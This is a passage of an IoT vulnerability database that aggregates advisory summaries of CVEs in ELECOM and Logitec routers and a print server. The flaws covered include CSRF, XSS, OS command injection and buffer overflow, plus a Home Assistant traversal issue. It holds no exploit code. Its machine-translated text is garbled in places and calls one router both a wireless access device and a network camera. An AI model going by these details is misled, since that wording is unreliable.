VARIoT IoT vulnerabilities database

Cross-site request forgery (CSRF) vulnerability in ELECOM WRC-300FEBK-S allows remote attackers to hijack the authentication of administrators and execute an arbitrary request via unspecified vector. As a result, the device settings may be altered and/or telnet daemon may be started. The following multiple vulnerabilities exist in multiple products provided by ELECOM CORPORATION. ・ Inadequate access restrictions (CWE-284) - CVE-2021-20643 -Script injection on the management screen (CWE-74) - CVE-2021-20644 ・ Retractable cross-site scripting (CWE-79) - CVE-2021-20645 ・ Cross-site request forgery (CWE-352) - CVE-2021-20646, CVE-2021-20647, CVE-2021-20650 ・ OS Command injection (CWE-78) - CVE-2021-20648 -Insufficient verification of server certificate (CWE-295) - CVE-2021-20649 ・ UPnP Via OS Command injection (CWE-78) - CVE-2014-8361 CVE-2021-20643 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Institute of Information Security Yuasa Laboratory Nagakawa ( Ishibashi ) Australia Mr CVE-2021-20644 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Sato Rei Mr CVE-2021-20645, CVE-2021-20646 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd. Tetsuyuki Ogawa Mr CVE-2021-20647, CVE-2021-20648, CVE-2021-20649 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Cyber Defense Institute, Inc. Satoru Nagaoka Mr CVE-2021-20650 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Hiroshi Watanabe Mr CVE-2014-8361 The following person indicates that the product is vulnerable to IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Cyber Defense Institute, Inc. Satoru Nagaoka Mr., National Institute of Information and Communications Technology Makita Daisuke Mr., National Institute of Information and Communications Technology Woods Yoshiki MrThe expected impact depends on each vulnerability, but it may be affected as follows. -The management password of the product is changed by processing the request crafted by a remote third party. - CVE-2021-20643 ・ Crafted SSID Is displayed on the management screen, and any script is executed on the user's web browser. - CVE-2021-20644 -Any script is executed on the web browser of the user who is logged in to the product. - CVE-2021-20645 -When a user logged in to the management screen of the product accesses a specially crafted page, an arbitrary request is executed, and as a result, the settings of the product are changed unintentionally. telnet Daemon is started - CVE-2021-20646, CVE-2021-20647, CVE-2021-20650 ・ Any third party who can access the product OS Command is executed - CVE-2021-20648 ・ Man-in-the-middle attack (man-in-the-middle attack) The communication response has been tampered with, resulting in arbitrary in the product. OS Command is executed - CVE-2021-20649 ・ With the product UPnP Is valid, any by a third party who has access to the product OS Command is executed - CVE-2014-8361. ELECOM WRC-300FEBK-S is a wireless access device

Cross-site request forgery (CSRF) vulnerability in ELECOM WRC-300FEBK-A allows remote attackers to hijack the authentication of administrators and execute an arbitrary request via unspecified vector. As a result, the device settings may be altered and/or telnet daemon may be started. The following multiple vulnerabilities exist in multiple products provided by ELECOM CORPORATION. ・ Inadequate access restrictions (CWE-284) - CVE-2021-20643 -Script injection on the management screen (CWE-74) - CVE-2021-20644 ・ Retractable cross-site scripting (CWE-79) - CVE-2021-20645 ・ Cross-site request forgery (CWE-352) - CVE-2021-20646, CVE-2021-20647, CVE-2021-20650 ・ OS Command injection (CWE-78) - CVE-2021-20648 -Insufficient verification of server certificate (CWE-295) - CVE-2021-20649 ・ UPnP Via OS Command injection (CWE-78) - CVE-2014-8361 CVE-2021-20643 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Institute of Information Security Yuasa Laboratory Nagakawa ( Ishibashi ) Australia Mr CVE-2021-20644 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Sato Rei Mr CVE-2021-20645, CVE-2021-20646 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd. Tetsuyuki Ogawa Mr CVE-2021-20647, CVE-2021-20648, CVE-2021-20649 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Cyber Defense Institute, Inc. Satoru Nagaoka Mr CVE-2021-20650 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Hiroshi Watanabe Mr CVE-2014-8361 The following person indicates that the product is vulnerable to IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Cyber Defense Institute, Inc. Satoru Nagaoka Mr., National Institute of Information and Communications Technology Makita Daisuke Mr., National Institute of Information and Communications Technology Woods Yoshiki MrThe expected impact depends on each vulnerability, but it may be affected as follows. -The management password of the product is changed by processing the request crafted by a remote third party. - CVE-2021-20643 ・ Crafted SSID Is displayed on the management screen, and any script is executed on the user's web browser. - CVE-2021-20644 -Any script is executed on the web browser of the user who is logged in to the product. - CVE-2021-20645 -When a user logged in to the management screen of the product accesses a specially crafted page, an arbitrary request is executed, and as a result, the settings of the product are changed unintentionally. telnet Daemon is started - CVE-2021-20646, CVE-2021-20647, CVE-2021-20650 ・ Any third party who can access the product OS Command is executed - CVE-2021-20648 ・ Man-in-the-middle attack (man-in-the-middle attack) The communication response has been tampered with, resulting in arbitrary in the product. OS Command is executed - CVE-2021-20649 ・ With the product UPnP Is valid, any by a third party who has access to the product OS Command is executed - CVE-2014-8361. ELECOM WRC-300FEBK-A is a wireless access device. Attackers can use the vulnerability to perform malicious operations in the context of the target user by constructing malicious URIs to induce requests

Improper access control vulnerability in ELECOM LD-PS/U1 allows remote attackers to change the administrative password of the affected device by processing a specially crafted request. The following multiple vulnerabilities exist in multiple products provided by ELECOM CORPORATION. ・ Inadequate access restrictions (CWE-284) - CVE-2021-20643 -Script injection on the management screen (CWE-74) - CVE-2021-20644 ・ Retractable cross-site scripting (CWE-79) - CVE-2021-20645 ・ Cross-site request forgery (CWE-352) - CVE-2021-20646, CVE-2021-20647, CVE-2021-20650 ・ OS Command injection (CWE-78) - CVE-2021-20648 -Insufficient verification of server certificate (CWE-295) - CVE-2021-20649 ・ UPnP Via OS Command injection (CWE-78) - CVE-2014-8361 CVE-2021-20643 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Institute of Information Security Yuasa Laboratory Nagakawa ( Ishibashi ) Australia Mr CVE-2021-20644 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Sato Rei Mr CVE-2021-20645, CVE-2021-20646 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd. Tetsuyuki Ogawa Mr CVE-2021-20647, CVE-2021-20648, CVE-2021-20649 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Cyber Defense Institute, Inc. Satoru Nagaoka Mr CVE-2021-20650 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Hiroshi Watanabe Mr CVE-2014-8361 The following person indicates that the product is vulnerable to IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Cyber Defense Institute, Inc. Satoru Nagaoka Mr., National Institute of Information and Communications Technology Makita Daisuke Mr., National Institute of Information and Communications Technology Woods Yoshiki MrThe expected impact depends on each vulnerability, but it may be affected as follows. - CVE-2021-20643 ・ Crafted SSID Is displayed on the management screen, and any script is executed on the user's web browser. - CVE-2021-20644 -Any script is executed on the web browser of the user who is logged in to the product. - CVE-2021-20645 -When a user logged in to the management screen of the product accesses a specially crafted page, an arbitrary request is executed, and as a result, the settings of the product are changed unintentionally. telnet Daemon is started - CVE-2021-20646, CVE-2021-20647, CVE-2021-20650 ・ Any third party who can access the product OS Command is executed - CVE-2021-20648 ・ Man-in-the-middle attack (man-in-the-middle attack) The communication response has been tampered with, resulting in arbitrary in the product. OS Command is executed - CVE-2021-20649 ・ With the product UPnP Is valid, any by a third party who has access to the product OS Command is executed - CVE-2014-8361. ELECOM LD-PS/U1 is a USB print server. ELECOM LD-PS/U1 has an access control error vulnerability

ELECOM WRC-300FEBK-S contains an improper certificate validation vulnerability. Via a man-in-the-middle attack, an attacker may alter the communication response. As a result, an arbitrary OS command may be executed on the affected device. The following multiple vulnerabilities exist in multiple products provided by ELECOM CORPORATION. ・ Inadequate access restrictions (CWE-284) - CVE-2021-20643 -Script injection on the management screen (CWE-74) - CVE-2021-20644 ・ Retractable cross-site scripting (CWE-79) - CVE-2021-20645 ・ Cross-site request forgery (CWE-352) - CVE-2021-20646, CVE-2021-20647, CVE-2021-20650 ・ OS Command injection (CWE-78) - CVE-2021-20648 -Insufficient verification of server certificate (CWE-295) - CVE-2021-20649 ・ UPnP Via OS Command injection (CWE-78) - CVE-2014-8361 CVE-2021-20643 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Institute of Information Security Yuasa Laboratory Nagakawa ( Ishibashi ) Australia Mr CVE-2021-20644 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Sato Rei Mr CVE-2021-20645, CVE-2021-20646 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd. Tetsuyuki Ogawa Mr CVE-2021-20647, CVE-2021-20648, CVE-2021-20649 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Cyber Defense Institute, Inc. Satoru Nagaoka Mr CVE-2021-20650 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Hiroshi Watanabe Mr CVE-2014-8361 The following person indicates that the product is vulnerable to IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Cyber Defense Institute, Inc. Satoru Nagaoka Mr., National Institute of Information and Communications Technology Makita Daisuke Mr., National Institute of Information and Communications Technology Woods Yoshiki MrThe expected impact depends on each vulnerability, but it may be affected as follows. -The management password of the product is changed by processing the request crafted by a remote third party. - CVE-2021-20643 ・ Crafted SSID Is displayed on the management screen, and any script is executed on the user's web browser. - CVE-2021-20644 -Any script is executed on the web browser of the user who is logged in to the product. - CVE-2021-20645 -When a user logged in to the management screen of the product accesses a specially crafted page, an arbitrary request is executed, and as a result, the settings of the product are changed unintentionally. telnet Daemon is started - CVE-2021-20646, CVE-2021-20647, CVE-2021-20650 ・ Any third party who can access the product OS Command is executed - CVE-2021-20648 ・ Man-in-the-middle attack (man-in-the-middle attack) The communication response has been tampered with, resulting in arbitrary in the product. ELECOM WRC-300FEBK-S is a network camera suitable for home from Elecom of Japan. Attackers can use this vulnerability to change the communication response and execute arbitrary commands on the product

Improper check or handling of exceptional conditions in LOGITEC LAN-W300N/PR5B allows a remote attacker to cause a denial-of-service (DoS) condition by sending a specially crafted URL. The following multiple vulnerabilities exist in multiple products provided by Logitec Co., Ltd. -Inappropriate restriction of excessive authentication attempts (CWE-307) - CVE-2021-20635 ・ Cross-site request forgery (CWE-352) - CVE-2021-20636, CVE-2021-20641 • Improper checking or handling for exceptional situations (CWE-703) - CVE-2021-20637, CVE-2021-20642 ・ OS Command injection (CWE-78) - CVE-2021-20638 ・ OS Command injection (CWE-78) - CVE-2021-20639 ・ Buffer overflow (CWE-119) - CVE-2021-20640 CVE-2021-20635 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Kanagawa Institute of Technology Minegishi Takaaki Mr. Okamoto Tsuyoshi Mr CVE-2021-20636, CVE-2021-20637, CVE-2021-20642 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : LAC Co., Ltd. Shuto Kono Mr CVE-2021-20638, CVE-2021-20639, CVE-2021-20640 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd. Tsukamoto Taizo Mr CVE-2021-20641 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : LAC Co., Ltd. Shuto Kono Mr. Techmatrix Corporation Atsuo Sakurai MrThe expected impact depends on each vulnerability, but it may be affected as follows. ・ Wireless of the corresponding device LAN By a third party within reach PIN Is decrypted and the network provided by the device is accessed. - CVE-2021-20635 ・ Of the product Web The user logged in to the admin page has been crafted URL You can unintentionally change the settings of the product by accessing - CVE-2021-20636, CVE-2021-20641 ・ Of the product Web The user logged in to the admin page has been crafted URL Interfering with service operations by accessing (DoS) Be attacked - CVE-2021-20637, CVE-2021-20642 ・ Of the product Web Arbitrary by an attacker with access to the admin page OS Command is executed - CVE-2021-20638, CVE-2021-20639, CVE-2021-20640. A remote attacker could exploit this vulnerability to cause the device to crash

Improper check or handling of exceptional conditions in LOGITEC LAN-W300N/RS allows a remote attacker to cause a denial-of-service (DoS) condition by sending a specially crafted URL. The following multiple vulnerabilities exist in multiple products provided by Logitec Co., Ltd. -Inappropriate restriction of excessive authentication attempts (CWE-307) - CVE-2021-20635 ・ Cross-site request forgery (CWE-352) - CVE-2021-20636, CVE-2021-20641 • Improper checking or handling for exceptional situations (CWE-703) - CVE-2021-20637, CVE-2021-20642 ・ OS Command injection (CWE-78) - CVE-2021-20638 ・ OS Command injection (CWE-78) - CVE-2021-20639 ・ Buffer overflow (CWE-119) - CVE-2021-20640 CVE-2021-20635 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Kanagawa Institute of Technology Minegishi Takaaki Mr. Okamoto Tsuyoshi Mr CVE-2021-20636, CVE-2021-20637, CVE-2021-20642 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : LAC Co., Ltd. Shuto Kono Mr CVE-2021-20638, CVE-2021-20639, CVE-2021-20640 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd. Tsukamoto Taizo Mr CVE-2021-20641 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : LAC Co., Ltd. Shuto Kono Mr. Techmatrix Corporation Atsuo Sakurai MrThe expected impact depends on each vulnerability, but it may be affected as follows. ・ Wireless of the corresponding device LAN By a third party within reach PIN Is decrypted and the network provided by the device is accessed. - CVE-2021-20635 ・ Of the product Web The user logged in to the admin page has been crafted URL You can unintentionally change the settings of the product by accessing - CVE-2021-20636, CVE-2021-20641 ・ Of the product Web The user logged in to the admin page has been crafted URL Interfering with service operations by accessing (DoS) Be attacked - CVE-2021-20637, CVE-2021-20642 ・ Of the product Web Arbitrary by an attacker with access to the admin page OS Command is executed - CVE-2021-20638, CVE-2021-20639, CVE-2021-20640. A remote attacker could exploit this vulnerability to cause the device to crash

Home Assistant before 2021.1.3 does not have a protection layer that can help to prevent directory-traversal attacks against custom integrations. NOTE: the vendor's perspective is that the vulnerability itself is in custom integrations written by third parties, not in Home Assistant; however, Home Assistant does have a security update that is worthwhile in addressing this situation. Home Assistant is an open source home automation management system. The system is mainly used to control home automation equipment. There is a directory traversal vulnerability before Home Assistant 2021.1.3 version. The vulnerability stems from failure to properly filter special elements in resource or file paths. Attackers can use this vulnerability to obtain directory information

Cross-site scripting vulnerability in ELECOM WRC-300FEBK-A allows remote authenticated attackers to inject arbitrary script via unspecified vectors. The following multiple vulnerabilities exist in multiple products provided by ELECOM CORPORATION. ・ Inadequate access restrictions (CWE-284) - CVE-2021-20643 -Script injection on the management screen (CWE-74) - CVE-2021-20644 ・ Retractable cross-site scripting (CWE-79) - CVE-2021-20645 ・ Cross-site request forgery (CWE-352) - CVE-2021-20646, CVE-2021-20647, CVE-2021-20650 ・ OS Command injection (CWE-78) - CVE-2021-20648 -Insufficient verification of server certificate (CWE-295) - CVE-2021-20649 ・ UPnP Via OS Command injection (CWE-78) - CVE-2014-8361 CVE-2021-20643 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Institute of Information Security Yuasa Laboratory Nagakawa ( Ishibashi ) Australia Mr CVE-2021-20644 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Sato Rei Mr CVE-2021-20645, CVE-2021-20646 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd. Tetsuyuki Ogawa Mr CVE-2021-20647, CVE-2021-20648, CVE-2021-20649 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Cyber Defense Institute, Inc. Satoru Nagaoka Mr CVE-2021-20650 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Hiroshi Watanabe Mr CVE-2014-8361 The following person indicates that the product is vulnerable to IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Cyber Defense Institute, Inc. Satoru Nagaoka Mr., National Institute of Information and Communications Technology Makita Daisuke Mr., National Institute of Information and Communications Technology Woods Yoshiki MrThe expected impact depends on each vulnerability, but it may be affected as follows. -The management password of the product is changed by processing the request crafted by a remote third party. - CVE-2021-20643 ・ Crafted SSID Is displayed on the management screen, and any script is executed on the user's web browser. - CVE-2021-20644 -Any script is executed on the web browser of the user who is logged in to the product. - CVE-2021-20645 -When a user logged in to the management screen of the product accesses a specially crafted page, an arbitrary request is executed, and as a result, the settings of the product are changed unintentionally. telnet Daemon is started - CVE-2021-20646, CVE-2021-20647, CVE-2021-20650 ・ Any third party who can access the product OS Command is executed - CVE-2021-20648 ・ Man-in-the-middle attack (man-in-the-middle attack) The communication response has been tampered with, resulting in arbitrary in the product. OS Command is executed - CVE-2021-20649 ・ With the product UPnP Is valid, any by a third party who has access to the product OS Command is executed - CVE-2014-8361. ELECOM WRC-300FEBK-A is a wireless access device. ELECOM WRC-300FEBK-A has a cross-site scripting vulnerability. Attackers can use the vulnerability to inject malicious scripts or HTML code. A remote attacker could exploit this vulnerability to inject malicious script into a Web page which would be executed in a victim's Web browser within the security context of the hosting Web site, once the page is viewed. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials

ELECOM WRC-300FEBK-S allows an attacker with administrator rights to execute arbitrary OS commands via unspecified vectors. The following multiple vulnerabilities exist in multiple products provided by ELECOM CORPORATION. ・ Inadequate access restrictions (CWE-284) - CVE-2021-20643 -Script injection on the management screen (CWE-74) - CVE-2021-20644 ・ Retractable cross-site scripting (CWE-79) - CVE-2021-20645 ・ Cross-site request forgery (CWE-352) - CVE-2021-20646, CVE-2021-20647, CVE-2021-20650 ・ OS Command injection (CWE-78) - CVE-2021-20648 -Insufficient verification of server certificate (CWE-295) - CVE-2021-20649 ・ UPnP Via OS Command injection (CWE-78) - CVE-2014-8361 CVE-2021-20643 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Institute of Information Security Yuasa Laboratory Nagakawa ( Ishibashi ) Australia Mr CVE-2021-20644 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Sato Rei Mr CVE-2021-20645, CVE-2021-20646 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd. Tetsuyuki Ogawa Mr CVE-2021-20647, CVE-2021-20648, CVE-2021-20649 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Cyber Defense Institute, Inc. Satoru Nagaoka Mr CVE-2021-20650 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Hiroshi Watanabe Mr CVE-2014-8361 The following person indicates that the product is vulnerable to IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Cyber Defense Institute, Inc. Satoru Nagaoka Mr., National Institute of Information and Communications Technology Makita Daisuke Mr., National Institute of Information and Communications Technology Woods Yoshiki MrThe expected impact depends on each vulnerability, but it may be affected as follows. -The management password of the product is changed by processing the request crafted by a remote third party. - CVE-2021-20643 ・ Crafted SSID Is displayed on the management screen, and any script is executed on the user's web browser. - CVE-2021-20644 -Any script is executed on the web browser of the user who is logged in to the product. - CVE-2021-20645 -When a user logged in to the management screen of the product accesses a specially crafted page, an arbitrary request is executed, and as a result, the settings of the product are changed unintentionally. telnet Daemon is started - CVE-2021-20646, CVE-2021-20647, CVE-2021-20650 ・ Any third party who can access the product OS Command is executed - CVE-2021-20648 ・ Man-in-the-middle attack (man-in-the-middle attack) The communication response has been tampered with, resulting in arbitrary in the product. OS Command is executed - CVE-2021-20649 ・ With the product UPnP Is valid, any by a third party who has access to the product OS Command is executed - CVE-2014-8361. ELECOM WRC-300FEBK-S is a wireless access device. ELECOM WRC-300FEBK-S has an arbitrary command execution vulnerability

ELECOM WRC-1467GHBK-A allows arbitrary scripts to be executed on the user's web browser by displaying a specially crafted SSID on the web setup page. The following multiple vulnerabilities exist in multiple products provided by ELECOM CORPORATION. ・ Inadequate access restrictions (CWE-284) - CVE-2021-20643 -Script injection on the management screen (CWE-74) - CVE-2021-20644 ・ Retractable cross-site scripting (CWE-79) - CVE-2021-20645 ・ Cross-site request forgery (CWE-352) - CVE-2021-20646, CVE-2021-20647, CVE-2021-20650 ・ OS Command injection (CWE-78) - CVE-2021-20648 -Insufficient verification of server certificate (CWE-295) - CVE-2021-20649 ・ UPnP Via OS Command injection (CWE-78) - CVE-2014-8361 CVE-2021-20643 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Institute of Information Security Yuasa Laboratory Nagakawa ( Ishibashi ) Australia Mr CVE-2021-20644 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Sato Rei Mr CVE-2021-20645, CVE-2021-20646 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd. Tetsuyuki Ogawa Mr CVE-2021-20647, CVE-2021-20648, CVE-2021-20649 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Cyber Defense Institute, Inc. Satoru Nagaoka Mr CVE-2021-20650 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Hiroshi Watanabe Mr CVE-2014-8361 The following person indicates that the product is vulnerable to IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Cyber Defense Institute, Inc. Satoru Nagaoka Mr., National Institute of Information and Communications Technology Makita Daisuke Mr., National Institute of Information and Communications Technology Woods Yoshiki MrThe expected impact depends on each vulnerability, but it may be affected as follows. -The management password of the product is changed by processing the request crafted by a remote third party. - CVE-2021-20645 -When a user logged in to the management screen of the product accesses a specially crafted page, an arbitrary request is executed, and as a result, the settings of the product are changed unintentionally. telnet Daemon is started - CVE-2021-20646, CVE-2021-20647, CVE-2021-20650 ・ Any third party who can access the product OS Command is executed - CVE-2021-20648 ・ Man-in-the-middle attack (man-in-the-middle attack) The communication response has been tampered with, resulting in arbitrary in the product. OS Command is executed - CVE-2021-20649 ・ With the product UPnP Is valid, any by a third party who has access to the product OS Command is executed - CVE-2014-8361. ELECOM WRC-1467GHBK-A is a wireless access device. ELECOM WRC-1467GHBK-A has a cross-site scripting vulnerability. Attackers can use the vulnerability to inject malicious scripts or HTML code

Buffer overflow vulnerability in LOGITEC LAN-W300N/PGRB allows an attacker with administrative privilege to execute an arbitrary OS command via unspecified vectors. The following multiple vulnerabilities exist in multiple products provided by Logitec Co., Ltd. -Inappropriate restriction of excessive authentication attempts (CWE-307) - CVE-2021-20635 ・ Cross-site request forgery (CWE-352) - CVE-2021-20636, CVE-2021-20641 • Improper checking or handling for exceptional situations (CWE-703) - CVE-2021-20637, CVE-2021-20642 ・ OS Command injection (CWE-78) - CVE-2021-20638 ・ OS Command injection (CWE-78) - CVE-2021-20639 ・ Buffer overflow (CWE-119) - CVE-2021-20640 CVE-2021-20635 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Kanagawa Institute of Technology Minegishi Takaaki Mr. Okamoto Tsuyoshi Mr CVE-2021-20636, CVE-2021-20637, CVE-2021-20642 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : LAC Co., Ltd. Shuto Kono Mr CVE-2021-20638, CVE-2021-20639, CVE-2021-20640 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd. Tsukamoto Taizo Mr CVE-2021-20641 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : LAC Co., Ltd. Shuto Kono Mr. Techmatrix Corporation Atsuo Sakurai MrThe expected impact depends on each vulnerability, but it may be affected as follows. ・ Wireless of the corresponding device LAN By a third party within reach PIN Is decrypted and the network provided by the device is accessed. - CVE-2021-20635 ・ Of the product Web The user logged in to the admin page has been crafted URL You can unintentionally change the settings of the product by accessing - CVE-2021-20636, CVE-2021-20641 ・ Of the product Web The user logged in to the admin page has been crafted URL Interfering with service operations by accessing (DoS) Be attacked - CVE-2021-20637, CVE-2021-20642 ・ Of the product Web Arbitrary by an attacker with access to the admin page OS Command is executed - CVE-2021-20638, CVE-2021-20639, CVE-2021-20640. LOGITEC CORPORATION LAN-W300N/PGRB is a wireless router device. LOGITEC CORPORATION LAN-W300N/PGRB has a buffer overflow vulnerability. Logitec LAN-W300N/PGRB is vulnerable to a buffer overflow, caused by improper bounds checking

Cross-site request forgery (CSRF) vulnerability in LOGITEC LAN-W300N/PR5B allows remote attackers to hijack the authentication of administrators via a specially crafted URL. As a result, unintended operations to the device such as changes of the device settings may be conducted. The following multiple vulnerabilities exist in multiple products provided by Logitec Co., Ltd. -Inappropriate restriction of excessive authentication attempts (CWE-307) - CVE-2021-20635 ・ Cross-site request forgery (CWE-352) - CVE-2021-20636, CVE-2021-20641 • Improper checking or handling for exceptional situations (CWE-703) - CVE-2021-20637, CVE-2021-20642 ・ OS Command injection (CWE-78) - CVE-2021-20638 ・ OS Command injection (CWE-78) - CVE-2021-20639 ・ Buffer overflow (CWE-119) - CVE-2021-20640 CVE-2021-20635 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Kanagawa Institute of Technology Minegishi Takaaki Mr. Okamoto Tsuyoshi Mr CVE-2021-20636, CVE-2021-20637, CVE-2021-20642 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : LAC Co., Ltd. Shuto Kono Mr CVE-2021-20638, CVE-2021-20639, CVE-2021-20640 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd. Tsukamoto Taizo Mr CVE-2021-20641 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : LAC Co., Ltd. Shuto Kono Mr. Techmatrix Corporation Atsuo Sakurai MrThe expected impact depends on each vulnerability, but it may be affected as follows. ・ Wireless of the corresponding device LAN By a third party within reach PIN Is decrypted and the network provided by the device is accessed. - CVE-2021-20635 ・ Of the product Web The user logged in to the admin page has been crafted URL You can unintentionally change the settings of the product by accessing - CVE-2021-20636, CVE-2021-20641 ・ Of the product Web The user logged in to the admin page has been crafted URL Interfering with service operations by accessing (DoS) Be attacked - CVE-2021-20637, CVE-2021-20642 ・ Of the product Web Arbitrary by an attacker with access to the admin page OS Command is executed - CVE-2021-20638, CVE-2021-20639, CVE-2021-20640. Logitec LAN-W300N/PR5B is vulnerable to cross-site request forgery, caused by improper validation of user-supplied input. By persuading an authenticated user to visit a malicious Web site, a remote attacker could send a malformed HTTP request to change device settings. An attacker could exploit this vulnerability to perform cross-site scripting attacks, Web cache poisoning, and other malicious activities

Cross-site request forgery (CSRF) vulnerability in LOGITEC LAN-W300N/RS allows remote attackers to hijack the authentication of administrators via a specially crafted URL. As a result, unintended operations to the device such as changes of the device settings may be conducted. The following multiple vulnerabilities exist in multiple products provided by Logitec Co., Ltd. -Inappropriate restriction of excessive authentication attempts (CWE-307) - CVE-2021-20635 ・ Cross-site request forgery (CWE-352) - CVE-2021-20636, CVE-2021-20641 • Improper checking or handling for exceptional situations (CWE-703) - CVE-2021-20637, CVE-2021-20642 ・ OS Command injection (CWE-78) - CVE-2021-20638 ・ OS Command injection (CWE-78) - CVE-2021-20639 ・ Buffer overflow (CWE-119) - CVE-2021-20640 CVE-2021-20635 This vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Kanagawa Institute of Technology Minegishi Takaaki Mr. Okamoto Tsuyoshi Mr CVE-2021-20636, CVE-2021-20637, CVE-2021-20642 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with the developer. Reporter : LAC Co., Ltd. Shuto Kono Mr CVE-2021-20638, CVE-2021-20639, CVE-2021-20640 These vulnerability information is based on the Information Security Early Warning Partnership. IPA Report to JPCERT/CC Coordinated with 